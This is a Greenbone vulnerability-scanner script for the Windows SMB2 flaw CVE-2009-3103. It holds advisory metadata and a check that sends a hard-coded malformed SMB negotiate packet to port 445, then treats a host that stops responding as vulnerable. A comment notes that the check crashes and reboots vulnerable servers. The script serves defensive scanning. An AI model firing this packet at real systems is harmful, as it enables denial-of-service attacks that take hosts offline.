Microsoft Windows SMB2 '_Smb2ValidateProviderCallback()' RCE Vulnerability

# SPDX-FileCopyrightText: 2009 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.100283");
  script_version("2026-04-28T06:28:06+0000");
  script_tag(name:"last_modification", value:"2026-04-28 06:28:06 +0000 (Tue, 28 Apr 2026)");
  script_tag(name:"creation_date", value:"2009-10-01 18:57:31 +0200 (Thu, 01 Oct 2009)");
  script_cve_id("CVE-2009-3103");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_name("Microsoft Windows SMB2 '_Smb2ValidateProviderCallback()' RCE Vulnerability");
  script_tag(name:"qod_type", value:"remote_analysis");
  script_category(ACT_KILL_HOST);
  script_family("Windows");
  script_copyright("Copyright (C) 2009 Greenbone AG");
  script_dependencies("find_service.nasl", "smb_nativelanman.nasl", "netbios_name_get.nasl", "os_detection.nasl");
  script_require_ports(445);
  script_mandatory_keys("Host/runs_windows");
  script_exclude_keys("SMB/samba");

  script_tag(name:"summary", value:"Microsoft Windows is prone to a remote code execution (RCE) vulnerability
  when processing the protocol headers for the Server Message Block (SMB) Negotiate Protocol Request.

  NOTE: Reportedly, for this issue to be exploitable, file sharing must be enabled.");

  script_tag(name:"vuldetect", value:"Opens a TCP socket to send a crafted request and checks if
  the host responds to a second request after a few seconds.");

  script_tag(name:"impact", value:"An attacker can exploit this issue to execute code with SYSTEM-level
  privileges. failed exploit attempts will likely cause denial-of-service conditions.");

  script_tag(name:"affected", value:"- Microsoft Windows 7 RC, Vista and 2008 Server are vulnerable, other versions may also be affected.  NOTE: Reportedly

  - Microsoft Windows XP and 2000 are not affected.  UPDATE (September 9, 2009): Symantec has confirmed the issue on Microsoft Windows Vista SP1 and Microsoft Windows Server 2008");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/36299");
  script_xref(name:"URL", value:"http://blog.48bits.com/?p=510#more-510");
  script_xref(name:"URL", value:"https://docs.microsoft.com/de-de/security-updates/securitybulletins/2009/ms09-050");
  script_xref(name:"URL", value:"http://blogs.technet.com/msrc/archive/2009/09/08/microsoft-security-advisory-975497-released.aspx");
  script_xref(name:"URL", value:"http://www.microsoft.com/windows/windows-7/");
  script_xref(name:"URL", value:"http://blogs.technet.com/srd/archive/2009/09/18/update-on-the-smb-vulnerability.aspx");
  script_xref(name:"URL", value:"http://www.microsoft.com/windows/products/windowsvista/default.mspx");
  script_xref(name:"URL", value:"http://g-laurent.blogspot.com/2009/09/windows-vista7-smb20-negotiate-protocol.html");
  script_xref(name:"URL", value:"http://www.securityfocus.com/archive/1/506300");
  script_xref(name:"URL", value:"http://www.securityfocus.com/archive/1/506327");
  script_xref(name:"URL", value:"http://www.kb.cert.org/vuls/id/135940");

  script_tag(name:"solution_type", value:"VendorFix");

  script_tag(name:"solution", value:"Microsoft has released updates to fix the issue.
  Please see the references for more information.");

  exit(0);
}

include("smb_nt.inc");

if(kb_smb_is_samba())
  exit( 0 );

port = 445;
if(!get_port_state(port))exit(0);

soc = open_sock_tcp(port);
if(!soc)exit(0);

data = raw_string(0x00,0x00,0x00,0x90,0xff,0x53,0x4d,0x42,0x72,0x00,0x00,0x00,0x00,0x18,0x53,0xc8,
                  0x00,0x26,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff,0xff,0xfe,
                  0x00,0x00,0x00,0x00,0x00,0x6d,0x00,0x02,0x50,0x43,0x20,0x4e,0x45,0x54,0x57,0x4f,
                  0x52,0x4b,0x20,0x50,0x52,0x4f,0x47,0x52,0x41,0x4d,0x20,0x31,0x2e,0x30,0x00,0x02,
                  0x4c,0x41,0x4e,0x4d,0x41,0x4e,0x31,0x2e,0x30,0x00,0x02,0x57,0x69,0x6e,0x64,0x6f,
                  0x77,0x73,0x20,0x66,0x6f,0x72,0x20,0x57,0x6f,0x72,0x6b,0x67,0x72,0x6f,0x75,0x70,
                  0x73,0x20,0x33,0x2e,0x31,0x61,0x00,0x02,0x4c,0x4d,0x31,0x2e,0x32,0x58,0x30,0x30,
                  0x32,0x00,0x02,0x4c,0x41,0x4e,0x4d,0x41,0x4e,0x32,0x2e,0x31,0x00,0x02,0x4e,0x54,
                  0x20,0x4c,0x4d,0x20,0x30,0x2e,0x31,0x32,0x00,0x02,0x53,0x4d,0x42,0x20,0x32,0x2e,
                  0x30,0x30,0x32,0x00); # Tested against 2008 Server. A vulnerable Server doing a reboot. I'm not happy with that, but a the moment i have no idea how to detect this vulnerability without exploiting it.

send(socket: soc, data: data);
close(soc);

# Increased sleep to avoid possible FPs
sleep(10);

soc1 = open_sock_tcp(port);

if(!soc1) {
  security_message(port:port);
  exit(0);
} else {
  close(soc1);
}

exit(0);